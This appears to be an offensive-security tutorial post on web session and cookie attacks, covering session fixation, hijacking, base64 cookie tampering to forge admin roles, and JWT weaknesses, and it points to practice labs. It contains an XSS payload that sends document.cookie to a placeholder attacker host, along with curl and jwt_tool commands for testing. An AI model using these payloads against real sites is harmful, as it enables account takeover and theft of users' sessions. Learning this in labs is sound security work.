Post 8: Session & Cookie Attacks

Hijacking, Tampering, and Exploiting Session Mismanagement

Sessions are how web apps remember who you are. If sessions are misconfigured or implemented poorly, an attacker can take over user accounts, impersonate admins, and bypass authentication entirely.

This post breaks down how session and cookie handling works, and how you can exploit weaknesses to pivot deeper into web applications.

Table of Contents

1. How Sessions and Cookies Work
2. Common Session Vulnerabilities
3. Session Fixation
4. Session Hijacking
5. Cookie Tampering and Token Prediction
6. JWT Weaknesses
7. Practical Tools and Techniques
8. Real-World Tips and Practice

1. How Sessions and Cookies Work

When a user logs in, the server usually assigns a session ID, stored as a cookie in the browser.

Example cookie:

Set-Cookie: PHPSESSID=abc123xyz

Every request from the user then includes:

Cookie: PHPSESSID=abc123xyz

If you can steal, guess, fixate, or tamper with this value, you may be able to take over the session — and the account.

2. Common Session Vulnerabilities

• Session IDs are predictable or short
• IDs never expire
• Session cookies sent over HTTP
• Session data stored in client-side cookies
• Insecure JWT implementation
• No re-authentication for sensitive actions
• Session not invalidated on logout

3. Session Fixation

Fixation means forcing a victim to use a session ID you already know.

Exploitable Flow:

1. Attacker sets a session ID: PHPSESSID=attacker123
2. Victim logs in — but still uses attacker’s ID
3. Attacker is now logged in as the victim

Test Case:

curl -v http://target.com -b "PHPSESSID=evil123"

If the same session ID is valid after login → vulnerability.

Also try sending session ID in the URL:

http://target.com/dashboard.php?PHPSESSID=evil123

4. Session Hijacking

If sessions are stored in cookies and aren’t properly protected, you can steal them via:

• XSS attacks
• Unencrypted HTTP (no HTTPS)
• Intercepting requests over open networks
• Log file leakage

XSS Payload Example:

<script>fetch('http://your-ip:8000/log?cookie='+document.cookie)</script>

Check for:

• No HttpOnly flag → allows JavaScript access
• No Secure flag → cookie sent over HTTP

Inspect cookies with:

curl -I http://target.com

Or in the browser’s dev tools: Application > Cookies

5. Cookie Tampering and Token Prediction

Some apps store session data directly in cookies, especially older ones or homegrown systems.

Example:

Cookie: auth=eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ==

Decode base64:

echo eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ== | base64 -d

If the app just trusts this data, you can edit and re-encode it:

{"user":"admin","role":"admin"}

Then send:

Cookie: auth=NEW_BASE64_VALUE

Try fuzzing simple tokens if they look guessable:

curl -b "sessionid=1" http://target.com
curl -b "sessionid=2" ...

6. JWT Weaknesses (JSON Web Tokens)

JWTs are base64-encoded tokens used to store session or user data.

Example Token:

header.payload.signature

Weaknesses:

• Using none algorithm (alg:none vulnerability)
• Weak signing keys (guessable)
• No expiration (exp) handling
• Storing sensitive info in the payload

Test:

• Decode token with jwt.io or:

echo 'base64_payload' | base64 -d

• Modify payload, resign with known/weak key
• Try injecting with alg: none

7. Practical Tools and Techniques

Burp Suite:

• View and edit cookies
• Force session ID
• Test for fixation, replay, manipulation

jwt-tool:

jwt_tool.py token -d
jwt_tool.py token -S wordlist.txt

Cookie Editor (Browser extension):

• Quickly view/change cookies while browsing

8. Real-World Tips and Practice

• Test for reused session IDs across logins
• Replay old session IDs after logout
• Try modifying cookie names or values
• Check if session persists after password change
• Always test across multiple users: guest, user, admin

Practice Labs:

• TryHackMe: OWASP Broken Auth, JWT labs
• PortSwigger: Authentication and session handling labs
• DVWA/bWAPP: Session management modules

Coming Up Next

Post 9: Business Logic Attacks
We’ll look at:

• Privilege escalation via hidden parameters
• Flawed workflows
• Price manipulation and bypassing authorization
• Real-world logic bugs that lead to full compromise